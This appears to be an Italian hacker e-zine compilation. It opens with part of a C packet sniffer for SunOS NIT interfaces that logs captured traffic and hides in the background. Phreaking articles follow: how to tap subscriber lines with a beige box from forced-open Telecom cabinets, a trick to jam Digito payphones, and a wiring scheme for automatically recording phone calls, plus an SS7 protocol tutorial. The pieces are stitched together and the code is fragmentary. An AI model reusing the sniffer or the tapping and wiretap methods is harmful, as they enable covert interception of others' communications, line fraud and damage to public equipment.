    si.ic_cmd = NIOCSCHUNK;
    si.ic_len = sizeof(chunksize);
    si.ic_dp  = (char *)&chunksize;
    if(ioctl(if_fd, I_STR, (char *)&si) < 0)
        Pexit(1,"Eth: ioctl (I_STR: NIOCSCHUNK)");

    strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name));
    ifr.ifr_name[sizeof(ifr.ifr_name) - 1] = '\0';
    si.ic_cmd = NIOCBIND;
    si.ic_len = sizeof(ifr);


    si.ic_dp  = (char *)&ifr;
```

```
    if(ioctl(if_fd, I_STR, (char *)&si) < 0)
        Pexit(1,"Eth: ioctl (I_STR: NIOCBIND)");

    si.ic_cmd = NIOCSFLAGS;
    si.ic_len = sizeof(if_flags);
    si.ic_dp  = (char *)&if_flags;
    if(ioctl(if_fd, I_STR, (char *)&si) < 0)
        Pexit(1,"Eth: ioctl (I_STR: NIOCSFLAGS)");

    if(ioctl(if_fd, I_FLUSH, (char *)FLUSHR) < 0)
        Pexit(1,"Eth: ioctl (I_FLUSH)");
  }

    while ((cc = read(if_fd, buf, CHUNKSIZE)) >= 0) {
        register char *bp = buf,
                      *bufstop = (buf + cc);

        while (bp < bufstop) {
            register char *cp = bp;
            register struct nit_bufhdr *hdrp;

            hdrp = (struct nit_bufhdr *)cp;
            cp += sizeof(struct nit_bufhdr);
            bp += hdrp->nhb_totlen;
            filter(cp, (u_long)hdrp->nhb_msglen);
        }
    }
    Pexit((-1),"Eth: read");
}
 /* Authorize your proogie,generate your own password and uncomment here */
/* #define AUTHPASSWD "EloiZgZejWyms" */

void getauth()
{ char *buf,*getpass(),*crypt();
  char pwd[21],prmpt[81];

    strcpy(pwd,AUTHPASSWD);
    sprintf(prmpt,"(%s)UP? ",ProgName);
    buf=getpass(prmpt);
    if(strcmp(pwd,crypt(buf,pwd)))
        exit(1);
}
    */
void main(argc, argv)
int argc;
char **argv;
{
    char   cbuf[BUFSIZ];
```

```
    struct ifconf ifc;
    int    s,
           ac=1,
           backg=0;

    ProgName=argv[0];

/*     getauth(); */

    LOG=NULL;
    device=NULL;
    while((ac<argc) && (argv[ac][0] == '-')) {
       register char ch = argv[ac++][1];
       switch(toupper(ch)) {
            case 'I': device=argv[ac++];
                      break;
            case 'F': if(!(LOG=fopen((LogName=argv[ac++]),"a")))
                         Zexit(1,"Output file cant be opened\n");
                      break;
            case 'B': backg=1;
                      break;
            case 'D': debug=1;
                      break;
            default : fprintf(ERR,
                        "Usage: %s [-b] [-d] [-i interface] [-f file]\n",
                            ProgName);
                      exit(1);
       }
    }

    if(!device) {
        if((s=socket(AF_INET, SOCK_DGRAM, 0)) < 0)
            Pexit(1,"Eth: socket");

        ifc.ifc_len = sizeof(cbuf);
        ifc.ifc_buf = cbuf;
        if(ioctl(s, SIOCGIFCONF, (char *)&ifc) < 0)
            Pexit(1,"Eth: ioctl");

        close(s);
        device = ifc.ifc_req->ifr_name;
    }

    fprintf(ERR,"Using logical device %s [%s]\n",device,NIT_DEV);
    fprintf(ERR,"Output to %s.%s%s",(LOG)?LogName:"stdout",
            (debug)?" (debug)":"",(backg)?" Backgrounding ":"\n");

    if(!LOG)
```

```
        LOG=stdout;

    signal(SIGINT, death);
    signal(SIGTERM,death);
    signal(SIGKILL,death);
    signal(SIGQUIT,death);

    if(backg && debug) {
         fprintf(ERR,"[Cannot bg with debug on]\n");
         backg=0;
    }

    if(backg) {
        register int s;

        if((s=fork())>0) {
           fprintf(ERR,"[pid %d]\n",s);
           exit(0);
        } else if(s<0)
           Pexit(1,"fork");

        if( (s=open("/dev/tty",O_RDWR))>0 ) {
                ioctl(s,TIOCNOTTY,(char *)NULL);
                close(s);
        }
    }
    fprintf(LOG,"\nLog started at => %s [pid %d]\n",NOWtm(),getpid());
    fflush(LOG);

    do_it();
}
```

IL BOXING

COSA FACCIAMO OGGI AL NOSTRO AMATO TELEFONO?

ovvero piccola guida al "disturbo" dei telefoni pubblici di
++++++Master of Puppets++++++

Discuteremo ora di ciò che non potete fare ad un telefono pubblico: c'è un pò troppo caos, a quanto ho visto, e mi sembra giusto spiegare quali tecniche sono da relegare alla storia del phreaking.
Le tecniche che analizzerò sono le seguenti:

Boxing
Punching
Lo switch sotto al display
Storie varie con le monete
Tessere telefoniche
Danni al telefono

Boxa tu, che io ho altro da fare
Bene, anzi, male, perchè il boxing è stato il cavallo di battaglia del phreaking per una cifra di tempo, e adesso, invece, di questo cavallo non ne è rimasta che colla.
Questo è anche colpa, comunque, di tutti quei coglioni che hanno comprato una Blue per chiamare gratis, e hanno accellerato la mano di mamma Telecom nel rimodernare i propri sistemi. Quanti di questi erano Phreakers? Nessuno credo capisse come funzionasse la scatoletta magica.
Quante Box avevamo in gioco? Veramente troppe, ma le più famose sono sicuramente la Blue e la Red box, la Green, che altro non era che un mix delle prime due, e la beige box.
La Blue box non faceva altro che imitare i toni di servizio della linea (ve lo dovevo dire io?), in Italia ha avuto una vita brevissima, ma era sicura, perchè a differenza di altri stati non ti tracciavano dopo quattro minuti di stranezze rilevate sulla linea.
Non si può più usare, lo sapevate, no? I sistemi telefonici italiani sono, come dire, un pò cambiati, quindi scordatevi, cari, di downlodarvi da internet uno schema di Blue (peraltro introvabile) e di usarlo, anche perchè i telefoni, ormai, sono costruiti con filtri atti a bloccare certe frequenze...
La Red box imitava invece il rumore delle monetine che infilavi nel telefono: mi spiego, metti 100 lire? alla centrale viene inviato il suono di frequenza XXX.
A parte che il concetto di base era lo stesso della blue (ma qui non ti tracciavano) e quindi oggi totalmente superato, tutti i

progetti di red box venivano dagli USA, dove, guarda caso, le monetine, e i telefoni, sono diversi dai nostri.....
vi lascio tirare le vostre conclusioni, aggiungendo che io, ai tempi, mica c'ero arrivato, e adesso (anche prima) ho un bel soprammobile inutile.
Della Green non ne parlo neppure....
La piccola Beige Box non è altro che il lineman handset, il telefono con i coccodrilli degli omini Telecom. Nulla di speciale, un telefono normalissimo, e una box che anche un handicappato saprebbe costruirsi.
Questa funziona, ma cosa potete farci?
Prendete uno degli armadi grigi Telecom, uno di quelli dove vedete ogni tanto gli omini lavorare, e apritelo a vostra discrezione. Dentro trovate una marea di ponticelli. se vi attaccate voi , a uno di questi, avrete commesso un reato mica da ridere (come se scardinare l'armadio non lo sia), avrete occupato una linea d'utente. Cosa fare ora? A parte non farvi sgamare dalla pula, vedete un pò voi....
Non sperate di collegarvi alla linea di un telefono pubblico perchè non funziona, ho provato sulla mia pelle, prima dal telefono pubblico a scuola, poi da un telefono pubblico dove lavoro.... beh, la linea del coso è controllata, e due telefoni connessi alla stessa linea non sono una cosa poi tanto normale.
P. S.
Se dovete telefonare, e trovate un bel lucchetto al telefono di casa, staccate la spina e sbattete nei buchi la vostra Beige... pulito, indolore, a meno che non ci sia anche la tabulazione del traffico.

Morale della favola: Se volete boxare, ma non vi piace il naso rotto e i guantoni, fatelo in beige, che quest' anno va pure di moda...

I TELEFONI DIGITO

Da circa un paio di mesi, mamma telekom sta rimpiazzando i vecchi telefoni pubblici arancioni, con dei nuovi telefoni dalla linea estetica accativante ed attraente. Su questi telefoni se ne sono dette molte [e pure io in qualche occasione ho detto qualcosa] alcune delle quali devono ancora trovare una risposta. Ecco il motivo del mio articolo: piazzare le basi sull'informazione di questi telefoni, in modo che chiunque possa ampliarle con la propria esperienza. Proprio per questo motivo, andrò a ripetere cose già dette, ma [forse] non scontate per chiunque... quindi non rompetemi i coglioni venendomi a dire che sono stato ripetitivo !

Personalmente, il nuovo telefono pubblico "DIGITO" [così si chiama] l'ho visto prima alla smau, poi in funzione nella mia città. Senza dilunguarmi troppo, vado ad elencare qui di seguito tutte le info di cui dispongo... elencando per ognuna i vari commenti fatti da varie persone in rete:

- Il design è stato fatto da Giugiaro e l'intero scatolotto di dimensioni di circa 30 cm x 40 cm è interamente fatto in acciaio stagnato, ragion percui sono propenso a credere che sarà più difficile portarsene a casa uno, rispetto ai precedenti. Solamente la cornetta è in plastica dura.

  > No comment.

- La tastiera è alfanumerica in quanto si possono anche inviare SMS, e in più ci sono altri tasti che sulle vecchie cabine non c'erano e sono:
  * il tasto per selezionare la lingua (infatti questo esisteva già!)
  * il tasto per alzare/abbassare il volume
  * il tasto canc ... tipo calcolatrice, che elimina l'ultimo numero
  * il tasto R ... non è il repeat del numero, ma serve a riprendersi il segnale di libero
  * il tasto in/out per la scheda telefonica
  * il tasto OK
  * due piccoli tasti, posti sotto il display, da loro funzionamento ancora ingoto (credo che servano per gli SMS o qualcosa del genere... quindi dovremmo aspettare le schede a chip)

  > Anche qui non c'è da dire molto. L'unica cosa ancora ingota [a me] è il funzionamento dei due piccoli tasti posti sotto al display.

- Il display ha 4 righe e il trucco dell'overflow di 0 non funzia più. Il numero massimo di cifre che si possono inserire [quelle che compongono il numero telefonico] è 25.

- Per le comunicazioni utilizza una linea ISDN :) , ed è supportato dalla Piattaforma di Rete Intelligente :(.

> Il nome di Rete Intelligente si è dato quando si sono cominciate ad usare
le tessere telefoniche, o meglio quando hanno installato dei database
contenenti tutti i numeri seriali delle tessere telefoniche e il loro
rispettivo credito, in modo da scalarlo anche nel database oltre che
sulla scheda. Inoltre, questa Rete permette anche di differenziare le
tariffe delle chiamate a seconda della destinazione.

- Il lettore di schede non ha più la classica entrata per le schede sopra, e
l'uscita sotto, infatti è composto di una sola fessura per schede; proprio
per questo motivo permette di cambiare la scheda mentre si sta conversando
senza dover agganciare.

> In dettaglio:
Dunque, da quello che ho potuto capire, il lettore di schede di 'ste
cabine è più cazzuto dei vecchi. Infatti dovrebbe funzionare così: voi
inserite la scheda, e lui non se la "succhia" tutta, ma la accetta fino a
metà. A questo punto controlla se ciò che avete inserito è una scheda che
lui riconosce, o meno: se la riconosce (ovvero è delle sue) la prende
tutta, altrimenti la "sputa" fuori, dicendovi di riagganciare.

> Per quanto riguarda il cambio della scheda, ecco quello che ho potuto
constatare:
Quando il vostro credito arriva a 1000 Lire o ad una cifra inferiore, il
telefono vi darà la possibilità di cambiare scheda. Per cambiare scheda
dovete premere l'ultimo pulsante in basso, a sinistra della tastiera;
così facendo esce la scheda telefonica e avete 16 secondi [circa] di
tempo per inserirne un'altra. A voi la fantasia su come utilizzare questo
"lungo" tempo ;)

- Per quanto riguarda le schede, funziona sia con le schede telekom a banda
magnetica che con le smartcard iso 7816 disponibili da dicembre 2000, con
allegati una serie di servizi di personalizzazione particolari, di cui
nessuno ha saputo dirmi niente e successivamente anche con monete euro (ma
sarà poi un altro modello).

> Vagabondando in rete, da qualche parte, mi è capitato di vedere che il
telefono è strutturato in due parti: una fissa, dedicata alle schede, e
una parte opzionale per la gestione delle monete, in euro, credo [ma
questa parte opzionale la vedremo fra un po'].

- C'è la possibilità di usufruire di vari servizi innovativi molto
interessanti, del tipo:

* Possibilità di lasciare dei messaggi vocali, che verranno inviati una
volta riagganciato l'apparecchio, verso i clienti assenti o occupati;

* Servizio di casella vocale personale, dove chiunque e da qualsiasi

numero, avrà la possibilità di lasciare un messaggio;

(e qui credo che centri la personalizzazione delle smart card ;)

- Servizio ASSURDO: una porta infrarossi per collegare portatili e palmtop direttamente in rete (tipo presa telefonica stradale pubblica). E penso che questo sia il vero punto che merita di essere approfondito, in fatto di interfacciamento di un pc col telefono.
  N.B. Questa info l'ho presa dai volantini pubblicitari che i telecomici distribuivano alla smau.

  > Questo è quanto sono venuto a sapere io; dal momento che l'ho reso pubblico sono affiorati i primi commenti e le prime critiche. C'è chi ha detto [giustamente] che di una porta IRDA non se ne vede l'ombra: bè, se è vero che è presente una porta ad infrarossi, non credo che la mettano bene in vista... servirebbe solo a vandali [???] per danneggiarla, no ?!
  A questo punto esistono solo due casi possibili e una soluzione; i due casi sono 1) c'è 2) non c'è. Ma va ?! Eheeh... e la soluzione: aprire un rotor e vedere cosa c'è realmente al suon interno.
  Ponendo il caso che sia vero, è altrettanto inaspettata la affermazione che da questo telefono pubblico ci si possa collegare in rete. Ecco cosa mi è stato detto:
  [...diffiderei di cio'...e se fosse un mega complotto x inkiappettarci tutti?! Insomma...mi suona strano..smartcard (sanno palesemente ke si possono clonare! vero anke ke pero' si sono fatti i konti in taska e avran detto ke ci guadagnano kmq sopra... perdere mezzo miliardo di nostre telefonate a frodo non e' ke gliene fotta moooootlo).
  ...poi c'e' la porta per kollegare il palmare o il picci'...dite ke non c'avranno pensato a kualke folle, kome noi del resto ;) , ke gioka a far splittare per 3 ore irc.tin.it? o kualke altro mega attakko?]

Non posso dire che ciò che mi è stato detto non sia vero, ma non escluderei cmq il fatto della porta IRDA e del collegamento in rete.

- Altra cosa innovativa è il metodo di come fa a riagganciare il telefono. Mi spiego: avete presente la levetta sulla quale le ormai vecchie cabine poggiano la cornetta innescando il riaggancio? Bene, sono scomparse. Credo che il riaggancio sia innescato magneticamente, in quanto la superficie di appoggio è diversa da quella dell'intero scatolotto e la cornetta forse pesa leggermente di più.

  > Sì, il riaggancio è magnetico... sto già studiando qualcosina.

- Infine ho la chicca delle chicche. Siccome questo telefono è stato progettato per essere posto anche in quei luoghi dove, a causa della loro posizione geografica, non possono essere raggiunti da una linea fissa, al loro interno hanno due alloggi per sim card in modo da funzionare via GSM sui 900Mhz. Questa feature delle nuove cabine è molto interessante, anche

se comporta un grosso svantaggio, e cioè che i rotor potrebbero essere
rintracciabili con uno strumento tipo il GPS. Quindi fate molta attenzione,
se avete idea di portarvene a casa una!

> Anche qui le solite critiche... lo sò. Anche A ME SUONA MOLTO STRANO, ma
questo è quando sono venuto a sapere. Quindi, NON prendetelo come buono,
ma sappiate che può esistere la possibilità che queste cabine siano
rintracciabili dal punto di vista di locazione geografica.

- Infine, dal punto di vista "hardware", tutto ciò che sò è:

  * Hanno una batteria da 6v, che dovrebbe alimentare anche le ipotetiche sim.

  * Ha 2 grossi bocchettoni per attaccarci i 2 slave, un plug femmina tipo ISDN
    con 4 canali (le vecchie erano 2, come le isdn tradizionale), 2 tasti di
    reset, e un pulsantino per il test del lettore.
    E poi resta fuori un plug femmina... che non si collega da nessuna parte.
    Il plug femmina potrebbe essere per una eventuale periferica... tipo il
    tanto discusso modem/fax isdn.

E la porta IRDA? Non c'è. Ovvero non c'è ancora, in quanto resta anche uno
slave piccolino, a 16 pin; questo "potrebbe" essere per una eventuale porta
IRDA opzionale.

MINI GUIDA AGLI ERRORI DELLE CABINE:

FRODE - Ah, questa è bella: se voi inserite una carta telefonica al contrario,
o inserite una qualsiasi carta che lui non riconosce, vi compare sul
display la scritta "Frode" e nella linea sotto "Riagganciare"

CONGESTIONE - Dopo 10 min che smanettavo, scrivendo numeri assurdi, mi è
venuto fuori questa scritta: "Congestione" e nella linea sotto
"Riagganciare".
Se qualcuno di voi sai qualcosa, me lo faccia sapere

TILT DELLE CABINE DIGITO...

Poco tempo fa, parlando in IRC con MrBison, è venuto fuori un discorso
abbastanza interessante che riguarda come mandare in tilt queste nuove cabine.
La tecnica, da lui escogitata, funziona e non funziona, in quanto viene
visualizzato il messaggio "Lettore fuori uso", ma poi basta sganciare e
riagganciare per fare rifunzionare il tutto. Comunque, ecco qua i passaggi:

1) Inserire una scheda a rovescio, oppure inserire un'altra scheda che lui
non legge, ma che riesca ad entrare.

Appena inserita esce scritto "Frode"

2) Rimettere la scheda dentro, tenendola premuta, spingendo sulla fessura del lettore. Ogni volta che lui ti sputa fuori la scheda, tu spingila dentro, continuando ad alzare e abbassare la cornetta, finche non ti viene scritto: "Chiamata E&M attivata"

3) A questo punto continua sempre a fare le operazioni descritte nel punto "2" ovvero tieni la scheda nel lettore con forza e continua ad agganciare e sganciare, finche non ti viene scritto:
"Lettore fuori uso"
"Solo chiamate d'emergenza"
"Sganciare"

A questo punto la cornetta è agganciata, la tua scheda è dentro e il telefono dice di non funzionare... peccato, appena si sgancia e riaggancia la cornetta il telefono riprende a funzionare perfettamente, sputando la scheda.

CIRCUITO PER L'AUTOMAZIONE DI REGISTRAZIONI TELEFONICHE

Con questo semplicissimo schema elettrico è possibile costruirsi un circuito in grado di pilotare direttamente un normale registratore a microcassette per registrare le conversazioni sulla linea telefonica a cui è collegato. Ogni qualvolta sarà alzata la cornetta del telefono collegato alla linea il registratore entrerà in funzione registrando ogni cosa (compresi i toni DTMF) fino a che la cornetta non sarà abbassata. Il registratore da utilizzare deve essere munito di presa Remote e di un'ingresso Micro. Ovviamente l'uscita LINE OUT andrà collegata all'ingresso del registratore mentre i contatti del Relè andranno collegati alla presa Remote del registratore che dovrà essere posizionato sempre su Rec. Se non riuscite a trovare un registratore che abbia questa presa potete prenderne uno qualsiasi, smontarlo e interrompere il cavetto positivo (rosso) che esce dal vano delle batterie ed arriva alla scheda del registratore. Collegate alle estremità del cavetto tagliato due spezzoni di filo che collegherete poi ai poli del relè. Così la corrente delle batterie passerà al registratore solo a cornetta alzata.

Elenco Componenti
R1=100k
R2=10k
R3=47k
R4=100k
R5=22k
C1=47kpF poliestere 250V
D1=1N4148
D2=1N4148
D3=1N4007
D4=1N4007
DZ1=zener 18volt 1W
VR=varistore 120V
TR1=BF391

TR2=BF391
RELE=Reed da 5V

SS7 TUTORIAL (1a e 2a parte) |
---------------------------[Various Artists]--[]--------------------------

InF0 hUnTeRz : CancermaN (3a parte)
BsThack (2a parte)
...e zio`sP3nKy (1a parte)

Dedicato agli " smanettoni dei telefoni " :
Gouranga , zapotecz, [Pcrk],
Cancerman,BsThack ,mR_bIs0n,
Martyr che penso sia crepato
e in particolar modo alla
dolcissima anarkika rancida,
alla pikkola anarko-elis4,
Yoghi&michell9 (auguri!) ,
lili1(:*)e alla donna che
e'il detonatore dell'en-
tropia e mia frenetica
silfide..elsa288!

Un Bacione a tutti..anke alla JaMMina, smav, DanteAlig, N0bodY e ad Adryana
che se non mi faceva girare i coyoni non ci saremmo potuti conoscere :*******

Il Suo Teskio e' Una Bandiera Che Vuol Dire Liberta'

Non mailate per sfotterci del fatto che cio' che diciamo e' puramente
riciclato da www.microlegend.com ...perche' e' cosi' :)

Se invece abbiamo detto un mare di bufalate skorreggiateci..eteci! :)

sp3nky@freemail.it

- Una semplicissima infarinata.

Il Common Channel Signaling System No.7 (anche chiamato ss7 o c7)
e' il protocollo standard della telecomunicazione mondiale, stabilito
dall'International Telecommunication Union (ITU) e dalla Telecommunication
Standardization Sector (ITU-T). Lo standard definisce le procedure e il
protocollo dai quali gli elementi nei Public Switched Telephone Network
(PSTN) scambiano informazioni attraverso un network (una stazione
telefonica che segnala digitalmente) per effettuare chiamate su cellulari
(wireless = senza fili) e telefoni fissi (wireline = con fili), routing e
per controllo.

Si sono create nel tempo pero' delle varianti come l'American National
Standard Institute (ANSI), Bell Communications Reasearch usati in
Nord America e l'European Telecommunications Standards Institute
(ETSI) usato in Europa.

I network e il protocollo ss7 sono usati quindi per :

-> Innanzi tutto per la compatibilita' telefonica mondiale e
sikurezza.
-> Servizi gratuiti (es. numeri verdi : 8oo-123456) e servizi
" wireline " (quindi telefoni fissi).
-> Tante altre cazzate.

- I Signaling Links.

Le informazioni nel sistema ss7 viaggiano tra base e base ad una velocita' di 56kb/s o 64 kb/s su canali bidirezionali (cio'significa che il messaggio puo' viaggiare da A a B e da B ad A) chiamati signaling links (collegamento tramite segnale).
Capita che i segnali viaggino fuori-banda (Out-Of-Band) anziche' in banda.

Cio' xke' :

-> Un uso + efficiente dei circuiti vocali.
-> Il supporto della rete intelligente (Intelligent Network),
quella che in Italia viene usata per i telefoni pubblici.
-> Contro un fraudolento uso del sistema telefonico..hehehe ;)
-> Perche' esistiamo noi apatici assetati di sapere.
-> Per complicarci a tutti la vita.

- Signaling Points.

Ogni signaling points (punto di segnalazione)e'identificato unicamente da un codice chiamato Point Code. Questi codici sono trasportati nei " signaling messages "(ovvero le informazioni che si scambiano i punto di segnalazione) da signaling points a signaling points per identificare l'origine e la destinazione di questi messaggi.

Ci sono 3 tipi si Signaling Points nel sistema ss7 :

-> SSP (Service Switching Point)
-> STP (Signal Transfer Point)
-> SCP (Service Control Point)

...e ora osservate la foto vietata ai minori dei 345 anni (luce) :

Figura 1.

Gli SSp sono dei punti del sistema ss7 che originano o terminano chiamate.
Un SSp manda " segnaling messages " agli altri SSp per impostare, dirigere e "liberare" i circuiti vocali richiesti per terminare una chiamata.
Un SSp potrebbe mandare un messaggio "query" al database centrale (che sarebbe l'SCp) per capire come minchia deve routare la chiamata...cioe' dove la deve inoltrare...così l'SCp manda un mess (..all'SSp che gli ha rotto i coyoni ;) kontenente una lista di numeri da chiamare, se trova il primo occupato oppure se non risponde l'SSp chiama quello dopo e cosi' via..questo

avviene per esempio con i numeri verdi (toll-free)..mbhe'almeno in Nord America e' cosi' !! Cmq questa " procedura " varia da servizio a servizio e da network a network.

Il traffico network che c'e' fra signaling point e signaling point potrebbe essere routato per via di un " packet switch " (pacchetto instradato) dopo aver contattato un STp che routa a sua volta ogni messaggio entrante su dei signaling links esterni (che si basano sull'informazioni contenute nel messaggio ss7). Affinche' avvenga questo, l'STp provvede nella migliore utilizzazione del network SS7 con l'eliminazione del bisogno per i diretti collegamenti fra signaling points e signaling points.
Un STp potrebbe effettuare un Global Title Translation...una procedura dalla quale la destinazione del signaling point e' determinata dalle cifre presenti nel signaling message (es. se e' un 034x-xxxxxxx l'STp contattera' un determinato signaling point...se invece e' un 8oo-xxxxxx ne verra' contattato un altro).
L'STp può inoltre comportarsi da "firewall" per monitorare i messaggi ss7 scambiati con altri network.

Dato che il procedimento network ss7 per fare le chiamate e' critico, gli SCp e gli STp sono di solito ubicati in diversi posti materiali ma con comuni configurazioni affinche' si ha un sicuro servizio del sistema in caso di problemi tecnici.
Il traffico e' diviso attraverso i link nel linkset (cioe' attraverso tutti i link disponibili del sistema...insomma..sulle basi d'appoggio libere).

Se uno dei link fallisce il traffico viene riinstradato su un altro link disponibile nel linkset. Il protocollo ss7 provvede sia alla correzione degli errori sia all'abilita' di retrasmissione per garantire la funzionalita' nel caso di eventuali problemi su signaling point o su link.

- Tipi di Signaling Links nel sistema ss7.

I signaling link sono organizzati in link ke vanno dal tipo link A al tipo link F.

Figura 2.

```
+--------+---------------------------------------------------------+
|        | Un Link A ( access ) connette un signaling end point ( SCp |
|        | o SSp ) a un STp. Solo i messaggi ke vengono originati dal |
| Link A | o destinati a un SCp o SSp vengono trasmessi su link A     |
|        |                                                          |
|        |                                                          |
+--------+---------------------------------------------------------+
|        | Un Link B ( bridge ) connette un STp a un altro STp. Gene- |
|        | ralmente un quadrangolo di link B connettono tra di loro   |
| Link B | uguali o primari STp ( es.l'STp di un network con l'STp di |
|        | un altro network ). Il link B e' molto simile al D e vengo-|
|        | no kiamati B\D.                                           |
+--------+---------------------------------------------------------+
```

```
|        | Un Link C ( cross ) connette gli STp performando funzioni  |
|        | identike. Gli SCp sono disposti anke assieme per migliore  |
| Link C | l'affidabilita'.                                           |
|        |                                                            |
|        |                                                            |
+--------+------------------------------------------------------------+
|        | Un Link D ( diagonal ) connette un STp secondario pari     |
|        | all'STp primario nel quad-link (la konfigurazione a 4 STp).|
| Link D | Gli STp secondari all'interno dello stesso network sono    |
|        | connessi tramite te un quad di link D.                     |
|        |                                                            |
+--------+------------------------------------------------------------+
|        | Un Link E ( extended ) connette un SSp ad un altro STp.    |
|        |                                                            |
| Link E |                                                            |
|        |                                                            |
|        |                                                            |
+--------+------------------------------------------------------------+
|        | Un Link F ( fully associated ) connette due signaling end  |
|        | point. I link F non sono di solito usati nei network con   |
| Link F | l'STp. Nei network senza STp, i link sono direttamente kol-|
|        | legati ai signaling point.                                 |
|        |                                                            |
+--------+------------------------------------------------------------+
```

- SS7 Protocol Stack.

Le funzioni hardware e software nel sistema SS7 sono divise in livelli.
Ekko una mappa approssimativa dell'OSI (Open Systems Interconnect)

Figura 3.

- Message Transfer Part.

La Parte di Trasporto del Messaggio (MTP) è divisa in tre livelli:

- MTP Livello 1.

Il livello più basso, MTP Livello 1, è equivalente all'OSI Physical Layer (Strato fisico OSI). MTP Livello 1 definisce le caratteristiche fisiche, elettriche, e funzionali del collegamento con segnale digitale. Le interfacce fisiche definite includono E-1 (2048 kb/s; 32 canali a 64 kb/s), DS-1 (1544 kb/s; 24 canali a 64 kp/s), V.35 (64 kb/s), DS-0 (64 kb/s), e DS-0A (56 kb/s).

- MTP Livello 2.

MTP Livello 2 assicura un'accurata trasmissione da circuito a circuito di un messaggio attraverso un collegamento di segnale. Il livello 2 implementa controllo di flusso, validazione della sequenza del messaggio, e controllo per errori. Quando avviene un errore in un collegamento di segnale, il messaggio (o il set di messaggi) è ritrasmesso.

MTP Livello 2 è equivalente all'OSI Data Link Layer (Strato collegamento dati OSI).
Un messaggio SS7 è chiamato un'unità di segnale (SU).
Ci sono 3 tipi di unità di segnale:
Unità di segnale di compilazione [Fill-In Signal Units (FISUs)], Unità di segnale di stato di collegamento [Link Status Signal Units (LSSUs)], e Unità di segnale di messaggio [Message Signal Units (MSUs)]

Figura 4.

Le unità di segnale di compilazione (FISUs) sono trasmesse continuamente su un collegamento di segnale in entrambe le direzioni finchè altre unità di segnale (MSUs o LSSUs) sono presenti. FISUs portano solo informazioni di livello basico 2 (per esempio, riconoscimento di unità di segnale ricevuta da un punto di segnale remoto). Poiché una somma di controllo CRC è calcolato per ciascuna unità di segnale di compilazione (FISU), la qualità del collegamento di segnale è controllata continuamente da entrambi i punti di segnale a ciascuna fine del collegamento.(Nota: Nella variante dell'ITU-T giapponese, la qualità del segnale dicollegamento è controllata dalla continua trasmissione di flag octets (8-bit bytes) piuttosto che dalle FISU; le unità di segnale di compilazione (FISU) sono mandate solo a intervalli di tempo predefiniti (per esempio una volta ogni 150 millisecondi).

Le unità di segnale di stato di collegamento (LSSUs) portano uno o due ottetti (8-bit bytes) di informazione sullo stato di collegamento tra i punti di segnale a ogni fine di collegamento. Lo stato di collegamento è usato per controllare l'allineamento del collegamento e per indicare lo stato di un punto di segnale (per esempio, il periodo di interruzione dell'uso del processore) al punto di segnale remoto.

Le Unità di segnale di messaggio (MSUs) portano tutto il controllo della chiamata, il database della richiesta e della risposta, l'organizzazione della rete, e i dati del mantenimento della rete nel campo delle informazioni di segnale(SIF). Le MSUs hanno un' etichetta di instradamento che permette al punto che origina il segnale di inviare informazioni al punto di segnale destinazione attraverso la rete.
Il valore dell'LI (Indicatore di lunghezza) determina il tipo di unità di segnale:

LI Valore 0 Unità di segnale di compilazione (FISU)1..2 Unità di segnale di stato del collegamento (LSSU)3..63 Unità di segnale di messaggio (MSU).

- Message Type Length Indicator Value(s).

Il 6-bit LI può registrare valori tra zero e 63. Se il numero di ottetti che segue l'LI e che precede il CRC è meno di 63, l'LI contiene questo numero. Altrimenti, l' LI è settato a 63. Un LI di 63 indica la lunghezza del messaggio è uguale o più grande di 63 ottetti (fino a un massimo di 273 ottetti). La massima lunghezza di un'unità di segnale è 279 ottetti: 273 ottetti (dati) + 1 ottetto (flag) + 1 ottetto (BSN + BIB) + 1 ottetto

(FSN + FIB) + 1 ottetto (LI + 2 bits liberi) + 2 ottetti (CRC).

- Flag.

Il valore binario del flag è 0111 1110. Prima di trasmettere un'unità di segnale, MTP Livello 2 rimuove "i falsi flag" aggiungendo uno 0-bit dopo ogni sequenza di cinque 1-bit. Ricevendo u'unità di segnale e togliendo il flag, MTP Livello 2 rimuove qualsiasi 0-bit seguendo una sequenza di cinque 1-bit per ripristinare il contenuto originale del messaggio. I flag doppi sono rimossi attraverso unità di segnale.

BSN (Sequenza del numero a ritroso)
La BSN è usata per mettere a conoscenza del ricevimento di unità di segnale dal punto di segnale remoto. La BSN contiene la sequenza del numero dell'unità di segnale che è stata riconosciuta. (vedi sotto FIB.)

- BIB (indicatore di bit al contrario).

Il BIB indica un riconoscimento negativo dal punto di segnale remoto quando interrotto. (vedi sotto FIB.)

FSN (Sequenza di Numeri in avanzamento)
La FSN contiene la sequenza di numeri dell'unità di segnale. (vedi sotto FIB.)

- FIB (Indicatore di Bit in avanzamento).

Il FIB è usato per recuperare gli errori come il BIB. Quando un'unità di segnale è pronta per la trsmissione, il punto di segnale incrementa l'FSN (forward sequence number) di 1 (FSN = 0..127). Il valore del CRC (ciclico controllo di redondanza) checksum è calcolato e apposto al seguente messaggio.

Ricevendo il messaggio, il punto di segnale remoto controlla il CRC e copia i valori dell' FSN nel BSN del prossimo messaggio disponibile organizzato per la trasmissione indietro al punto di segnale di partenza. Se il CRC è corretto, il messaggio di ritorno è trasmesso. Se non è corretto, il punto di segnale remoto indica un riconoscimento negativo attivando il BIB a mandare indietro il messaggio. Quando il punto di segnale originante riceve un riconoscimento negativo, ritrasmette tutti i messaggi seguenti, iniziando dal messaggio corrotto, con il FIB inserito.
Siccome il 7-bit FSN può riportare valori tra zero e 127, un punto di segnale può mandare fino a 128 unità di segnale prima di richiedere riconoscimento dal punto di segnale remoto. La BSN indica l'ultima sequenza di unità di segnale ricevuta correttamente dal punto di segnale remoto. La BSN mette a conoscenza anche di tutte le unità di segnale ricevute precedentemente. Per esempio, se un punto di segnale riceve un'unità di segnale con BSN = 5 seguito da un altro con BSN = 10 (e il BIB non è inserito), il secondo BSN implica una ricevuta corretta di unità di segnale 6 anche attraverso 9.

- SIO (Ottetto di Servizio Informazioni).

Il SIO in un MSU contiene il campo di sottoservizio a 4-bit seguito dall'indicatore di servizio a 4-bit. Le FISU e le LSSU non contengono un SIO.
Il campo di sottoservizio contiene l'indicatore di rete (per esempio nazionale o internazionale) e la priorità del messaggio (0..3 con 3 che è la priorità più alta). La priorità del messaggio è considerata solo sotto condizioni di congestione, non per controllare l'ordine con cui i messaggi sono trasmessi. I messaggi di bassa priorità possono essere eliminati durante i periodi di congestione. I messaggi di test del collegamento del segnale ricevono una più alta priorità piuttosto che i messaggi di preparazione alla chiamata.
L' indicatore di servizio specifica l'utente MTP, permettendo così la decodificazione dell'informazione contenuta nel SIF.

